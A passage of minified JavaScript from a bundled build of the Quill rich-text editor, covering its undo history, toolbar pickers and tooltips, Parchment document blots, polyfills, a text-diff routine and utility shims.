strict";e.exports={align:{"":n(76),center:n(77),right:n(78),justify:n(79)},background:n(80),blockquote:n(81),bold:n(82),clean:n(83),code:n(58),"code-block":n(58),color:n(84),direction:{"":n(85),rtl:n(86)},float:{center:n(87),full:n(88),left:n(89),right:n(90)},formula:n(91),header:{1:n(92),2:n(93)},italic:n(94),image:n(95),indent:{"+1":n(96),"-1":n(97)},link:n(98),list:{ordered:n(99),bullet:n(100),check:n(101)},script:{sub:n(102),super:n(103)},strike:n(104),underline:n(105),video:n(106)}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.getLastChangeIndex=t.default=void 0;var r=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),o=a(n(0)),i=a(n(5));function a(e){return e&&e.__esModule?e:{default:e}}var l=function(e){function t(e,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var r=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,n));return r.lastRecorded=0,r.ignoreChange=!1,r.clear(),r.quill.on(i.default.events.EDITOR_CHANGE,(function(e,t,n,o){e!==i.default.events.TEXT_CHANGE||r.ignoreChange||(r.options.userOnly&&o!==i.default.sources.USER?r.transform(t):r.record(t,n))})),r.quill.keyboard.addBinding({key:"Z",shortKey:!0},r.undo.bind(r)),r.quill.keyboard.addBinding({key:"Z",shortKey:!0,shiftKey:!0},r.redo.bind(r)),/Win/i.test(navigator.platform)&&r.quill.keyboard.addBinding({key:"Y",shortKey:!0},r.redo.bind(r)),r}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),r(t,[{key:"change",value:function(e,t){if(0!==this.stack[e].length){var n=this.stack[e].pop();this.stack[t].push(n),this.lastRecorded=0,this.ignoreChange=!0,this.quill.updateContents(n[e],i.default.sources.USER),this.ignoreChange=!1;var r=s(n[e]);this.quill.setSelection(r)}}},{key:"clear",value:function(){this.stack={undo:[],redo:[]}}},{key:"cutoff",value:function(){this.lastRecorded=0}},{key:"record",value:function(e,t){if(0!==e.ops.length){this.stack.redo=[];var n=this.quill.getContents().diff(t),r=Date.now();if(this.lastRecorded+this.options.delay>r&&this.stack.undo.length>0){var o=this.stack.undo.pop();n=n.compose(o.undo),e=o.redo.compose(e)}else this.lastRecorded=r;this.stack.undo.push({redo:e,undo:n}),this.stack.undo.length>this.options.maxStack&&this.stack.undo.shift()}}},{key:"redo",value:function(){this.change("redo","undo")}},{key:"transform",value:function(e){this.stack.undo.forEach((function(t){t.undo=e.transform(t.undo,!0),t.redo=e.transform(t.redo,!0)})),this.stack.redo.forEach((function(t){t.undo=e.transform(t.undo,!0),t.redo=e.transform(t.redo,!0)}))}},{key:"undo",value:function(){this.change("undo","redo")}}]),t}(a(n(9)).default);function s(e){var t=e.reduce((function(e,t){return e+=t.delete||0}),0),n=e.length()-t;return function(e){var t=e.ops[e.ops.length-1];return null!=t&&(null!=t.insert?"string"==typeof t.insert&&t.insert.endsWith("\n"):null!=t.attributes&&Object.keys(t.attributes).some((function(e){return null!=o.default.query(e,o.default.Scope.BLOCK)})))}(e)&&(n-=1),n}l.DEFAULTS={delay:1e3,maxStack:100,userOnly:!1},t.default=l,t.getLastChangeIndex=s},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.BaseTooltip=void 0;var r=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),o=p(n(3)),i=p(n(2)),a=p(n(8)),l=p(n(23)),s=p(n(34)),u=p(n(59)),c=p(n(60)),f=p(n(28)),d=p(n(61));function p(e){return e&&e.__esModule?e:{default:e}}function h(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function m(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function g(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}var v=[!1,"center","right","justify"],y=["#000000","#e60000","#ff9900","#ffff00","#008a00","#0066cc","#9933ff","#ffffff","#facccc","#ffebcc","#ffffcc","#cce8cc","#cce0f5","#ebd6ff","#bbbbbb","#f06666","#ffc266","#ffff66","#66b966","#66a3e0","#c285ff","#888888","#a10000","#b26b00","#b2b200","#006100","#0047b2","#6b24b2","#444444","#5c0000","#663d00","#666600","#003700","#002966","#3d1466"],b=[!1,"serif","monospace"],w=["1","2","3",!1],E=["small",!1,"large","huge"],S=function(e){function t(e,n){h(this,t);var r=m(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,n));return e.emitter.listenDOM("click",document.body,(function t(n){if(!document.body.contains(e.root))return document.body.removeEventListener("click",t);null==r.tooltip||r.tooltip.root.contains(n.target)||document.activeElement===r.tooltip.textbox||r.quill.hasFocus()||r.tooltip.hide(),null!=r.pickers&&r.pickers.forEach((function(e){e.container.contains(n.target)||e.close()}))})),r}return g(t,e),r(t,[{key:"addModule",value:function(e){var n=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0}(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"addModule",this).call(this,e);return"toolbar"===e&&this.extendToolbar(n),n}},{key:"buildButtons",value:function(e,t){e.forEach((function(e){(e.getAttribute("class")||"").split(/\s+/).forEach((function(n){if(n.startsWith("ql-")&&(n=n.slice("ql-".length),null!=t[n]))if("direction"===n)e.innerHTML=t[n][""]+t[n].rtl;else if("string"==typeof t[n])e.innerHTML=t[n];else{var r=e.value||"";null!=r&&t[n][r]&&(e.innerHTML=t[n][r])}}))}))}},{key:"buildPickers",value:function(e,t){var n=this;this.pickers=e.map((function(e){if(e.classList.contains("ql-align"))return null==e.querySelector("option")&&x(e,v),new c.default(e,t.align);if(e.classList.contains("ql-background")||e.classList.contains("ql-color")){var n=e.classList.contains("ql-background")?"background":"color";return null==e.querySelector("option")&&x(e,y,"background"===n?"#ffffff":"#000000"),new u.default(e,t[n])}return null==e.querySelector("option")&&(e.classList.contains("ql-font")?x(e,b):e.classList.contains("ql-header")?x(e,w):e.classList.contains("ql-size")&&x(e,E)),new f.default(e)})),this.quill.on(a.default.events.EDITOR_CHANGE,(function(){n.pickers.forEach((function(e){e.update()}))}))}}]),t}(s.default);S.DEFAULTS=(0,o.default)(!0,{},s.default.DEFAULTS,{modules:{toolbar:{handlers:{formula:function(){this.quill.theme.tooltip.edit("formula")},image:function(){var e=this,t=this.container.querySelector("input.ql-image[type=file]");null==t&&((t=document.createElement("input")).setAttribute("type","file"),t.setAttribute("accept","image/png, image/gif, image/jpeg, image/bmp, image/x-icon"),t.classList.add("ql-image"),t.addEventListener("change",(function(){if(null!=t.files&&null!=t.files[0]){var n=new FileReader;n.onload=function(n){var r=e.quill.getSelection(!0);e.quill.updateContents((new i.default).retain(r.index).delete(r.length).insert({image:n.target.result}),a.default.sources.USER),e.quill.setSelection(r.index+1,a.default.sources.SILENT),t.value=""},n.readAsDataURL(t.files[0])}})),this.container.appendChild(t)),t.click()},video:function(){this.quill.theme.tooltip.edit("video")}}}}});var C=function(e){function t(e,n){h(this,t);var r=m(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,n));return r.textbox=r.root.querySelector('input[type="text"]'),r.listen(),r}return g(t,e),r(t,[{key:"listen",value:function(){var e=this;this.textbox.addEventListener("keydown",(function(t){l.default.match(t,"enter")?(e.save(),t.preventDefault()):l.default.match(t,"escape")&&(e.cancel(),t.preventDefault())}))}},{key:"cancel",value:function(){this.hide()}},{key:"edit",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"link",t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;this.root.classList.remove("ql-hidden"),this.root.classList.add("ql-editing"),null!=t?this.textbox.value=t:e!==this.root.getAttribute("data-mode")&&(this.textbox.value=""),this.position(this.quill.getBounds(this.quill.selection.savedRange)),this.textbox.select(),this.textbox.setAttribute("placeholder",this.textbox.getAttribute("data-"+e)||""),this.root.setAttribute("data-mode",e)}},{key:"restoreFocus",value:function(){var e=this.quill.scrollingContainer.scrollTop;this.quill.focus(),this.quill.scrollingContainer.scrollTop=e}},{key:"save",value:function(){var e,t,n=this.textbox.value;switch(this.root.getAttribute("data-mode")){case"link":var r=this.quill.root.scrollTop;this.linkRange?(this.quill.formatText(this.linkRange,"link",n,a.default.sources.USER),delete this.linkRange):(this.restoreFocus(),this.quill.format("link",n,a.default.sources.USER)),this.quill.root.scrollTop=r;break;case"video":t=(e=n).match(/^(?:(https?):\/\/)?(?:(?:www|m)\.)?youtube\.com\/watch.*v=([a-zA-Z0-9_-]+)/)||e.match(/^(?:(https?):\/\/)?(?:(?:www|m)\.)?youtu\.be\/([a-zA-Z0-9_-]+)/),n=t?(t[1]||"https")+"://www.youtube.com/embed/"+t[2]+"?showinfo=0":(t=e.match(/^(?:(https?):\/\/)?(?:www\.)?vimeo\.com\/(\d+)/))?(t[1]||"https")+"://player.vimeo.com/video/"+t[2]+"/":e;case"formula":if(!n)break;var o=this.quill.getSelection(!0);if(null!=o){var i=o.index+o.length;this.quill.insertEmbed(i,this.root.getAttribute("data-mode"),n,a.default.sources.USER),"formula"===this.root.getAttribute("data-mode")&&this.quill.insertText(i+1," ",a.default.sources.USER),this.quill.setSelection(i+2,a.default.sources.USER)}}this.textbox.value="",this.hide()}}]),t}(d.default);function x(e,t){var n=arguments.length>2&&void 0!==arguments[2]&&arguments[2];t.forEach((function(t){var r=document.createElement("option");t===n?r.setAttribute("selected","selected"):r.setAttribute("value",t),e.appendChild(r)}))}t.BaseTooltip=C,t.default=S},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=function(){function e(){this.head=this.tail=null,this.length=0}return e.prototype.append=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];this.insertBefore(e[0],null),e.length>1&&this.append.apply(this,e.slice(1))},e.prototype.contains=function(e){for(var t,n=this.iterator();t=n();)if(t===e)return!0;return!1},e.prototype.insertBefore=function(e,t){e&&(e.next=t,null!=t?(e.prev=t.prev,null!=t.prev&&(t.prev.next=e),t.prev=e,t===this.head&&(this.head=e)):null!=this.tail?(this.tail.next=e,e.prev=this.tail,this.tail=e):(e.prev=null,this.head=this.tail=e),this.length+=1)},e.prototype.offset=function(e){for(var t=0,n=this.head;null!=n;){if(n===e)return t;t+=n.length(),n=n.next}return-1},e.prototype.remove=function(e){this.contains(e)&&(null!=e.prev&&(e.prev.next=e.next),null!=e.next&&(e.next.prev=e.prev),e===this.head&&(this.head=e.next),e===this.tail&&(this.tail=e.prev),this.length-=1)},e.prototype.iterator=function(e){return void 0===e&&(e=this.head),function(){var t=e;return null!=e&&(e=e.next),t}},e.prototype.find=function(e,t){void 0===t&&(t=!1);for(var n,r=this.iterator();n=r();){var o=n.length();if(e<o||t&&e===o&&(null==n.next||0!==n.next.length()))return[n,e];e-=o}return[null,0]},e.prototype.forEach=function(e){for(var t,n=this.iterator();t=n();)e(t)},e.prototype.forEachAt=function(e,t,n){if(!(t<=0))for(var r,o=this.find(e),i=o[0],a=e-o[1],l=this.iterator(i);(r=l())&&a<e+t;){var s=r.length();e>a?n(r,e-a,Math.min(t,a+s-e)):n(r,0,Math.min(s,e+t-a)),a+=s}},e.prototype.map=function(e){return this.reduce((function(t,n){return t.push(e(n)),t}),[])},e.prototype.reduce=function(e,t){for(var n,r=this.iterator();n=r();)t=e(t,n);return t},e}();t.default=r},function(e,t,n){"use strict";var r,o=this&&this.__extends||(r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},function(e,t){function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)});Object.defineProperty(t,"__esModule",{value:!0});var i=n(17),a=n(1),l={attributes:!0,characterData:!0,characterDataOldValue:!0,childList:!0,subtree:!0},s=function(e){function t(t){var n=e.call(this,t)||this;return n.scroll=n,n.observer=new MutationObserver((function(e){n.update(e)})),n.observer.observe(n.domNode,l),n.attach(),n}return o(t,e),t.prototype.detach=function(){e.prototype.detach.call(this),this.observer.disconnect()},t.prototype.deleteAt=function(t,n){this.update(),0===t&&n===this.length()?this.children.forEach((function(e){e.remove()})):e.prototype.deleteAt.call(this,t,n)},t.prototype.formatAt=function(t,n,r,o){this.update(),e.prototype.formatAt.call(this,t,n,r,o)},t.prototype.insertAt=function(t,n,r){this.update(),e.prototype.insertAt.call(this,t,n,r)},t.prototype.optimize=function(t,n){var r=this;void 0===t&&(t=[]),void 0===n&&(n={}),e.prototype.optimize.call(this,n);for(var o=[].slice.call(this.observer.takeRecords());o.length>0;)t.push(o.pop());for(var l=function(e,t){void 0===t&&(t=!0),null!=e&&e!==r&&null!=e.domNode.parentNode&&(null==e.domNode[a.DATA_KEY].mutations&&(e.domNode[a.DATA_KEY].mutations=[]),t&&l(e.parent))},s=function(e){null!=e.domNode[a.DATA_KEY]&&null!=e.domNode[a.DATA_KEY].mutations&&(e instanceof i.default&&e.children.forEach(s),e.optimize(n))},u=t,c=0;u.length>0;c+=1){if(c>=100)throw new Error("[Parchment] Maximum optimize iterations reached");for(u.forEach((function(e){var t=a.find(e.target,!0);null!=t&&(t.domNode===e.target&&("childList"===e.type?(l(a.find(e.previousSibling,!1)),[].forEach.call(e.addedNodes,(function(e){var t=a.find(e,!1);l(t,!1),t instanceof i.default&&t.children.forEach((function(e){l(e,!1)}))}))):"attributes"===e.type&&l(t.prev)),l(t))})),this.children.forEach(s),o=(u=[].slice.call(this.observer.takeRecords())).slice();o.length>0;)t.push(o.pop())}},t.prototype.update=function(t,n){var r=this;void 0===n&&(n={}),(t=t||this.observer.takeRecords()).map((function(e){var t=a.find(e.target,!0);return null==t?null:null==t.domNode[a.DATA_KEY].mutations?(t.domNode[a.DATA_KEY].mutations=[e],t):(t.domNode[a.DATA_KEY].mutations.push(e),null)})).forEach((function(e){null!=e&&e!==r&&null!=e.domNode[a.DATA_KEY]&&e.update(e.domNode[a.DATA_KEY].mutations||[],n)})),null!=this.domNode[a.DATA_KEY].mutations&&e.prototype.update.call(this,this.domNode[a.DATA_KEY].mutations,n),this.optimize(t,n)},t.blotName="scroll",t.defaultChild="block",t.scope=a.Scope.BLOCK_BLOT,t.tagName="DIV",t}(i.default);t.default=s},function(e,t,n){"use strict";var r,o=this&&this.__extends||(r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},function(e,t){function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)});Object.defineProperty(t,"__esModule",{value:!0});var i=n(18),a=n(1),l=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o(t,e),t.formats=function(n){if(n.tagName!==t.tagName)return e.formats.call(this,n)},t.prototype.format=function(n,r){var o=this;n!==this.statics.blotName||r?e.prototype.format.call(this,n,r):(this.children.forEach((function(e){e instanceof i.default||(e=e.wrap(t.blotName,!0)),o.attributes.copy(e)})),this.unwrap())},t.prototype.formatAt=function(t,n,r,o){null!=this.formats()[r]||a.query(r,a.Scope.ATTRIBUTE)?this.isolate(t,n).format(r,o):e.prototype.formatAt.call(this,t,n,r,o)},t.prototype.optimize=function(n){e.prototype.optimize.call(this,n);var r=this.formats();if(0===Object.keys(r).length)return this.unwrap();var o=this.next;o instanceof t&&o.prev===this&&function(e,t){if(Object.keys(e).length!==Object.keys(t).length)return!1;for(var n in e)if(e[n]!==t[n])return!1;return!0}(r,o.formats())&&(o.moveChildren(this),o.remove())},t.blotName="inline",t.scope=a.Scope.INLINE_BLOT,t.tagName="SPAN",t}(i.default);t.default=l},function(e,t,n){"use strict";var r,o=this&&this.__extends||(r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},function(e,t){function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)});Object.defineProperty(t,"__esModule",{value:!0});var i=n(18),a=n(1),l=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o(t,e),t.formats=function(n){var r=a.query(t.blotName).tagName;if(n.tagName!==r)return e.formats.call(this,n)},t.prototype.format=function(n,r){null!=a.query(n,a.Scope.BLOCK)&&(n!==this.statics.blotName||r?e.prototype.format.call(this,n,r):this.replaceWith(t.blotName))},t.prototype.formatAt=function(t,n,r,o){null!=a.query(r,a.Scope.BLOCK)?this.format(r,o):e.prototype.formatAt.call(this,t,n,r,o)},t.prototype.insertAt=function(t,n,r){if(null==r||null!=a.query(n,a.Scope.INLINE))e.prototype.insertAt.call(this,t,n,r);else{var o=this.split(t),i=a.create(n,r);o.parent.insertBefore(i,o)}},t.prototype.update=function(t,n){navigator.userAgent.match(/Trident/)?this.build():e.prototype.update.call(this,t,n)},t.blotName="block",t.scope=a.Scope.BLOCK_BLOT,t.tagName="P",t}(i.default);t.default=l},function(e,t,n){"use strict";var r,o=this&&this.__extends||(r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},function(e,t){function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)});Object.defineProperty(t,"__esModule",{value:!0});var i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o(t,e),t.formats=function(e){},t.prototype.format=function(t,n){e.prototype.formatAt.call(this,0,this.length(),t,n)},t.prototype.formatAt=function(t,n,r,o){0===t&&n===this.length()?this.format(r,o):e.prototype.formatAt.call(this,t,n,r,o)},t.prototype.formats=function(){return this.statics.formats(this.domNode)},t}(n(19).default);t.default=i},function(e,t,n){"use strict";var r,o=this&&this.__extends||(r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},function(e,t){function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)});Object.defineProperty(t,"__esModule",{value:!0});var i=n(19),a=n(1),l=function(e){function t(t){var n=e.call(this,t)||this;return n.text=n.statics.value(n.domNode),n}return o(t,e),t.create=function(e){return document.createTextNode(e)},t.value=function(e){var t=e.data;return t.normalize&&(t=t.normalize()),t},t.prototype.deleteAt=function(e,t){this.domNode.data=this.text=this.text.slice(0,e)+this.text.slice(e+t)},t.prototype.index=function(e,t){return this.domNode===e?t:-1},t.prototype.insertAt=function(t,n,r){null==r?(this.text=this.text.slice(0,t)+n+this.text.slice(t),this.domNode.data=this.text):e.prototype.insertAt.call(this,t,n,r)},t.prototype.length=function(){return this.text.length},t.prototype.optimize=function(n){e.prototype.optimize.call(this,n),this.text=this.statics.value(this.domNode),0===this.text.length?this.remove():this.next instanceof t&&this.next.prev===this&&(this.insertAt(this.length(),this.next.value()),this.next.remove())},t.prototype.position=function(e,t){return void 0===t&&(t=!1),[this.domNode,e]},t.prototype.split=function(e,t){if(void 0===t&&(t=!1),!t){if(0===e)return this;if(e===this.length())return this.next}var n=a.create(this.domNode.splitText(e));return this.parent.insertBefore(n,this.next),this.text=this.statics.value(this.domNode),n},t.prototype.update=function(e,t){var n=this;e.some((function(e){return"characterData"===e.type&&e.target===n.domNode}))&&(this.text=this.statics.value(this.domNode))},t.prototype.value=function(){return this.text},t.blotName="text",t.scope=a.Scope.INLINE_BLOT,t}(i.default);t.default=l},function(e,t,n){"use strict";var r=document.createElement("div");if(r.classList.toggle("test-class",!1),r.classList.contains("test-class")){var o=DOMTokenList.prototype.toggle;DOMTokenList.prototype.toggle=function(e,t){return arguments.length>1&&!this.contains(e)==!t?t:o.call(this,e)}}String.prototype.startsWith||(String.prototype.startsWith=function(e,t){return t=t||0,this.substr(t,e.length)===e}),String.prototype.endsWith||(String.prototype.endsWith=function(e,t){var n=this.toString();("number"!=typeof t||!isFinite(t)||Math.floor(t)!==t||t>n.length)&&(t=n.length),t-=e.length;var r=n.indexOf(e,t);return-1!==r&&r===t}),Array.prototype.find||Object.defineProperty(Array.prototype,"find",{value:function(e){if(null===this)throw new TypeError("Array.prototype.find called on null or undefined");if("function"!=typeof e)throw new TypeError("predicate must be a function");for(var t,n=Object(this),r=n.length>>>0,o=arguments[1],i=0;i<r;i++)if(t=n[i],e.call(o,t,i,n))return t}}),document.addEventListener("DOMContentLoaded",(function(){document.execCommand("enableObjectResizing",!1,!1),document.execCommand("autoUrlDetect",!1,!1)}))},function(e,t){function n(e,t,a){if(e==t)return e?[[0,e]]:[];(a<0||e.length<a)&&(a=null);var s=o(e,t),u=e.substring(0,s);s=i(e=e.substring(s),t=t.substring(s));var c=e.substring(e.length-s),f=function(e,t){var a;if(!e)return[[1,t]];if(!t)return[[-1,e]];var l=e.length>t.length?e:t,s=e.length>t.length?t:e,u=l.indexOf(s);if(-1!=u)return a=[[1,l.substring(0,u)],[0,s],[1,l.substring(u+s.length)]],e.length>t.length&&(a[0][0]=a[2][0]=-1),a;if(1==s.length)return[[-1,e],[1,t]];var c=function(e,t){var n=e.length>t.length?e:t,r=e.length>t.length?t:e;if(n.length<4||2*r.length<n.length)return null;function a(e,t,n){for(var r,a,l,s,u=e.substring(n,n+Math.floor(e.length/4)),c=-1,f="";-1!=(c=t.indexOf(u,c+1));){var d=o(e.substring(n),t.substring(c)),p=i(e.substring(0,n),t.substring(0,c));f.length<p+d&&(f=t.substring(c-p,c)+t.substring(c,c+d),r=e.substring(0,n-p),a=e.substring(n+d),l=t.substring(0,c-p),s=t.substring(c+d))}return 2*f.length>=e.length?[r,a,l,s,f]:null}var l,s,u,c,f,d=a(n,r,Math.ceil(n.length/4)),p=a(n,r,Math.ceil(n.length/2));if(!d&&!p)return null;l=p?d&&d[4].length>p[4].length?d:p:d,e.length>t.length?(s=l[0],u=l[1],c=l[2],f=l[3]):(c=l[0],f=l[1],s=l[2],u=l[3]);var h=l[4];return[s,u,c,f,h]}(e,t);if(c){var f=c[0],d=c[1],p=c[2],h=c[3],m=c[4],g=n(f,p),v=n(d,h);return g.concat([[0,m]],v)}return function(e,t){for(var n=e.length,o=t.length,i=Math.ceil((n+o)/2),a=i,l=2*i,s=new Array(l),u=new Array(l),c=0;c<l;c++)s[c]=-1,u[c]=-1;s[a+1]=0,u[a+1]=0;for(var f=n-o,d=f%2!=0,p=0,h=0,m=0,g=0,v=0;v<i;v++){for(var y=-v+p;y<=v-h;y+=2){for(var b=a+y,w=(O=y==-v||y!=v&&s[b-1]<s[b+1]?s[b+1]:s[b-1]+1)-y;O<n&&w<o&&e.charAt(O)==t.charAt(w);)O++,w++;if(s[b]=O,O>n)h+=2;else if(w>o)p+=2;else if(d&&(C=a+f-y)>=0&&C<l&&-1!=u[C]){var E=n-u[C];if(O>=E)return r(e,t,O,w)}}for(var S=-v+m;S<=v-g;S+=2){for(var C=a+S,x=(E=S==-v||S!=v&&u[C-1]<u[C+1]?u[C+1]:u[C-1]+1)-S;E<n&&x<o&&e.charAt(n-E-1)==t.charAt(o-x-1);)E++,x++;if(u[C]=E,E>n)g+=2;else if(x>o)m+=2;else if(!d&&(b=a+f-S)>=0&&b<l&&-1!=s[b]){var O=s[b];if(w=a+O-b,O>=(E=n-E))return r(e,t,O,w)}}}return[[-1,e],[1,t]]}(e,t)}(e=e.substring(0,e.length-s),t=t.substring(0,t.length-s));return u&&f.unshift([0,u]),c&&f.push([0,c]),function e(t){t.push([0,""]);for(var n,r=0,a=0,l=0,s="",u="";r<t.length;)switch(t[r][0]){case 1:l++,u+=t[r][1],r++;break;case-1:a++,s+=t[r][1],r++;break;case 0:a+l>1?(0!==a&&0!==l&&(0!==(n=o(u,s))&&(r-a-l>0&&0==t[r-a-l-1][0]?t[r-a-l-1][1]+=u.substring(0,n):(t.splice(0,0,[0,u.substring(0,n)]),r++),u=u.substring(n),s=s.substring(n)),0!==(n=i(u,s))&&(t[r][1]=u.substring(u.length-n)+t[r][1],u=u.substring(0,u.length-n),s=s.substring(0,s.length-n))),0===a?t.splice(r-l,a+l,[1,u]):0===l?t.splice(r-a,a+l,[-1,s]):t.splice(r-a-l,a+l,[-1,s],[1,u]),r=r-a-l+(a?1:0)+(l?1:0)+1):0!==r&&0==t[r-1][0]?(t[r-1][1]+=t[r][1],t.splice(r,1)):r++,l=0,a=0,s="",u=""}""===t[t.length-1][1]&&t.pop();var c=!1;for(r=1;r<t.length-1;)0==t[r-1][0]&&0==t[r+1][0]&&(t[r][1].substring(t[r][1].length-t[r-1][1].length)==t[r-1][1]?(t[r][1]=t[r-1][1]+t[r][1].substring(0,t[r][1].length-t[r-1][1].length),t[r+1][1]=t[r-1][1]+t[r+1][1],t.splice(r-1,1),c=!0):t[r][1].substring(0,t[r+1][1].length)==t[r+1][1]&&(t[r-1][1]+=t[r+1][1],t[r][1]=t[r][1].substring(t[r+1][1].length)+t[r+1][1],t.splice(r+1,1),c=!0)),r++;c&&e(t)}(f),null!=a&&(f=function(e,t){var n=function(e,t){if(0===t)return[0,e];for(var n=0,r=0;r<e.length;r++){var o=e[r];if(-1===o[0]||0===o[0]){var i=n+o[1].length;if(t===i)return[r+1,e];if(t<i){e=e.slice();var a=t-n,l=[o[0],o[1].slice(0,a)],s=[o[0],o[1].slice(a)];return e.splice(r,1,l,s),[r+1,e]}n=i}}throw new Error("cursor_pos is out of bounds!")}(e,t),r=n[1],o=n[0],i=r[o],a=r[o+1];if(null==i)return e;if(0!==i[0])return e;if(null!=a&&i[1]+a[1]===a[1]+i[1])return r.splice(o,2,a,i),l(r,o,2);if(null!=a&&0===a[1].indexOf(i[1])){r.splice(o,2,[a[0],i[1]],[0,i[1]]);var s=a[1].slice(i[1].length);return s.length>0&&r.splice(o+2,0,[a[0],s]),l(r,o,3)}return e}(f,a)),f=function(e){for(var t=!1,n=function(e){return e.charCodeAt(0)>=56320&&e.charCodeAt(0)<=57343},r=2;r<e.length;r+=1)0===e[r-2][0]&&(o=e[r-2][1]).charCodeAt(o.length-1)>=55296&&o.charCodeAt(o.length-1)<=56319&&-1===e[r-1][0]&&n(e[r-1][1])&&1===e[r][0]&&n(e[r][1])&&(t=!0,e[r-1][1]=e[r-2][1].slice(-1)+e[r-1][1],e[r][1]=e[r-2][1].slice(-1)+e[r][1],e[r-2][1]=e[r-2][1].slice(0,-1));var o;if(!t)return e;var i=[];for(r=0;r<e.length;r+=1)e[r][1].length>0&&i.push(e[r]);return i}(f)}function r(e,t,r,o){var i=e.substring(0,r),a=t.substring(0,o),l=e.substring(r),s=t.substring(o),u=n(i,a),c=n(l,s);return u.concat(c)}function o(e,t){if(!e||!t||e.charAt(0)!=t.charAt(0))return 0;for(var n=0,r=Math.min(e.length,t.length),o=r,i=0;n<o;)e.substring(i,o)==t.substring(i,o)?i=n=o:r=o,o=Math.floor((r-n)/2+n);return o}function i(e,t){if(!e||!t||e.charAt(e.length-1)!=t.charAt(t.length-1))return 0;for(var n=0,r=Math.min(e.length,t.length),o=r,i=0;n<o;)e.substring(e.length-o,e.length-i)==t.substring(t.length-o,t.length-i)?i=n=o:r=o,o=Math.floor((r-n)/2+n);return o}var a=n;function l(e,t,n){for(var r=t+n-1;r>=0&&r>=t-1;r--)if(r+1<e.length){var o=e[r],i=e[r+1];o[0]===i[1]&&e.splice(r,2,[o[0],o[1]+i[1]])}return e}a.INSERT=1,a.DELETE=-1,a.EQUAL=0,e.exports=a},function(e,t){function n(e){var t=[];for(var n in e)t.push(n);return t}(e.exports="function"==typeof Object.keys?Object.keys:n).shim=n},function(e,t){var n="[object Arguments]"==function(){return Object.prototype.toString.call(arguments)}();function r(e){return"[object Arguments]"==Object.prototype.toString.call(e)}function o(e){return e&&"object"==typeof e&&"number"==typeof e.length&&Object.prototype.hasOwnProperty.call(e,"callee")&&!Object.prototype.propertyIsEnumerable.call(e,"callee")||!1}(t=e.exports=n?r:o).supported=r,t.unsupported=o},function(e,t){"use strict";var n=Object.prototype.hasOwnProperty,r="~";function o(){}function i(e,t,n){this.fn=e,this.context=t,this.once=n||!1}function a(){this._events=new o,this._eventsCount=0}Object.create&&(o.prototype=Object.create(null),(new o).__proto__||(r=!1)),a.prototype.eventNames=function(){var e,t,o=[];if(0===this._eventsCount)return o;for(t in e=this._events)n.call(e,t)&&o.push(r?t.slice(1):t);return Object.getOwnPropertySymbols?o.concat(Object.getOwnPropertySymbols(e)):o},a.prototype.listeners=function(e,t){var 